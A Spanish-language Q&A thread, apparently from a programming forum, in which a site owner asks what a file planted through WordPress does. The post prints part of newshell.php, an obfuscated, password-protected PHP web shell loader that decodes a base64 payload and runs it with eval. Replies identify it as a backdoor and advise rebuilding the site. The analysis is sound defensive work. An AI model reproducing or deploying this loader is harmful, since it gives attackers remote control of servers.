0

Me insertaron un archivo malicioso por medio de wordpress, ya quite los permisos a ese wordpress, también vi que no estuviera nada mas infectado sin embargo me gustaría saber que hace este archivo.

Nombre del archivo: newshell.php

<?php
$PASS="c279fa156e660bbb90ba27e1c69605d6";

function T_($Bc) {
    $x2 = 256;
    $W2 = 8;
    $cY = array();
    $I3 = 0;
    $C4 = 0;
    for ($bs = 0; $bs < strlen($Bc); $bs++) {
        $I3 = ($I3 << 8) + ord($Bc[$bs]);
        $C4 += 8;
        if ($C4 >= $W2) {
            $C4 -= $W2;
            $cY[] = $I3 >> $C4;
            $I3 &= (1 << $C4) - 1;
            $x2++;
            if ($x2 >> $W2) {
                $W2++;
            }
        }
    }
    $K5 = range("\x0", "\377");
    $UH = '';
    foreach ($cY as $bs => $xd) {
        if (!isset($K5[$xd])) {
            $iU = $Co . $Co[0];
        } else {
            $iU = $K5[$xd];
        }
        $UH .= $iU;
        if ($bs) {
            $K5[] = $Co . $iU[0];
        }
        $Co = $iU;
    }
    return $UH;
}
$_DMIE8x="\x62\x61\x73\x65\x36\64\137\144\x65\x63\x6f\x64\x65";
eval(T_($_DMIE8x("aTMKBCaTmczKdBQJCgQSmUxSKT2IIVDCmIB6IBEYjEZhsMhgZBoYjCNBsZhqOByNzINjGYhyZhmM
xkYjGNhgOBwIh2ID7EnElkxFhAdDkdTLOxJP05QhOVSoRhaOBPSJ+mqYRjSbDKcyaYTdU58lkzQj
aZBrCS+UyKUitay2JyQVCoUC+VbUUi+QSORScVBOXRTO4AIIFBINCBIXyGTyeSySRS3ZbPibvbSl
b7jcy+SCeU79gBcIjWZTyIsAKRBETgcjedNaeTgZRRkrRlbdcLldM5nr+KdDo9KLLCmcDPBBABQZ

El código sigue, pero es igual a esto, como si fuera una contraseña super encriptada.

2
  • ¿Cuál es la duda en si? Commented el 27 nov. 2020 a las 15:44
  • La solución sensata es QUEMAR TODO, instalar de cero usando un backup confiable de la instalación y actualizar todo a versiones más recientes que cubran las vulnerbailidades que permitieron esta intrusión en primer lugar. No sabes qué más cosas quedarony permitan que ingresen de nuevo, después.
    – Alfabravo
    Commented el 22 sept. 2021 a las 18:01

1 respuesta 1

2

Una búsqueda en internet de parte del contenido del archivo arroja esta dirección:

https://medium.com/@ostapkorkuna/fighting-a-russian-hacker-a-story-of-one-infected-wordpress-website-5ca0318f7a7a

Lo que va ahí supongo que es un contenido comprimido en base 64. Al descomprimirlo y pasarlo por eval arroja el código entendible, que permite intentar todo lo que se pueda a través de php: listar directorios, intervenir en ficheros de configuración, etc.

Existe la posibilidad de que haya dejado una puerta trasera, conviene hacer un diagnóstico del servidor.

1
  • Gracias era eso especificamente lo que queria saber, si es un virus en efecto. Commented el 27 nov. 2020 a las 22:30

Tu Respuesta

By clicking “Publica tu respuesta”, you agree to our terms of service and acknowledge you have read our privacy policy.

¿No es la respuesta que buscas? Examina otras preguntas con la etiqueta o formula tu propia pregunta.